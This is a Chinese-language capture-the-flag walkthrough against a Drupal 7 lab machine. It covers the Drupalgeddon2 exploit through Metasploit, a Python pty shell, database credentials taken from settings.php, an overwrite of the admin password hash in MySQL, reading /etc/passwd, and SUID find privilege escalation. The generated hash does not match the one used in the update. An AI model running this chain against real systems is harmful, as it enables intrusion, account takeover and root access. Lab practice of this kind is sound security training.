信息收集
arp-scan -l
得到192.168.160.132
nmap -A 192.168.160.132
只有80能打开
打开是一个登录界面
可以用wappalyzer看到cms为Drupal 7
于是找一下Drupal的漏洞
利用msf
进入msf
msfconsole
搜索drupal的漏洞
search drupal
漏洞攻击
利用第二个模块
use exploit/unix/webapp/drupal_drupalgeddon2
查看漏洞信息
show options
yes里的是必填的
大部分已经配置好了
差个RHOSTS
配置一下
set rhosts 192.168.160.132
然后执行
exploit
search drupal
找到适合需求的模块后,可以通过 use
命令选择并配置该模块,然后使用 exploit
命令来尝试利用漏洞
成功后会获得一个meterpreter的shell
meterpreter它是一种轻量级的后门程序,可用于远程访问受攻击系统,执行各种操作和操纵受感染的主机。
ls可以看到flag1.txt
cat一下
提示我们看配置文件
输入shell(以靶机用户的身份运行靶机)
利用python拿交互式
python -c "import pty;pty.spawn('/bin/bash')"
找配置文件
find ./ -name "*settings*"
看到了./sites/default/settings.php
该文件是 Drupal 内部的配置文件,用于配置 Drupal 站点的基本设置和数据库连接等信息
cat看一下
找到了flag2
并且告诉了我们一个数据库和一个账号密码
连一下这个库
mysql -udbuser -pR0ck3t
成功了,查一下当前库并进入
show databases; use drupaldb
查表
show tables;
看到users
查一下
sselect*from users;
看到有admin的账号
但是那个hash有点难解密,看wp找到一个可以解出来的,但是要钱(md)
想想其他办法
先退出数据库
exit;
去找一下跟password有关的文件
find / -name password*
可以看到有一个password-hash.sh的脚本
看一下内容
用来hash加密密码的,用法也告诉我们了
我们用它加密一下123456
./scripts/password-hash.sh 123456
得到了123456的hash值
$S$DeC4R0p6gG0/XA6Wdejh5N8JrjqaI0b3B3R7vpeEAjpbQo3y64uF
所以我们可以用这个hash值替换掉在数据库里发现的admin的密码的hash值
那么admin的密码不加变成了123456了吗
回到刚刚的数据库
mysql -udbuser -pR0ck3t
show databases;
use drupaldb
更新命令
update users set
pass='$S$DFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC'where
name="admin";
介绍一下
update
是 SQL 语句的关键字,用于更新表中的数据。
users
是要更新的表名,这里是 Drupal 中存储用户信息的表名。
set
后面跟着要更新的字段和新值。
where
子句用于指定更新数据的条件。
name="admin"
表示要更新 users
表中 name
字段为 “admin” 的记录。换句话说,这个命令将会更新用户名为 “admin” 的用户的密码
更新成功,去刚才的80端口登录一下
登录成功,可以在这里找的flag3
打开看一下
提到了找passwd
那么cat一下/etc/passwd
在最下面看到了用户flag4,还给了一个路径/home/flag4
去看一下这个路径
cd /home/flag4
ls
可以看到一个flag4.txt
cat一下
要我们在root下找
那就是要提权了
find提权
看一下SUID可执行的文件
find / -perm -u=s -type f 2>/dev/null
看到有/usr/bin/find
那就利用这个提权
find提权就比较简单了
输入
find /var/www/misc -exec "/bin/sh" \;
或
find / -exec "/bin/bash" -p \;
这样就可以了
拿flag即可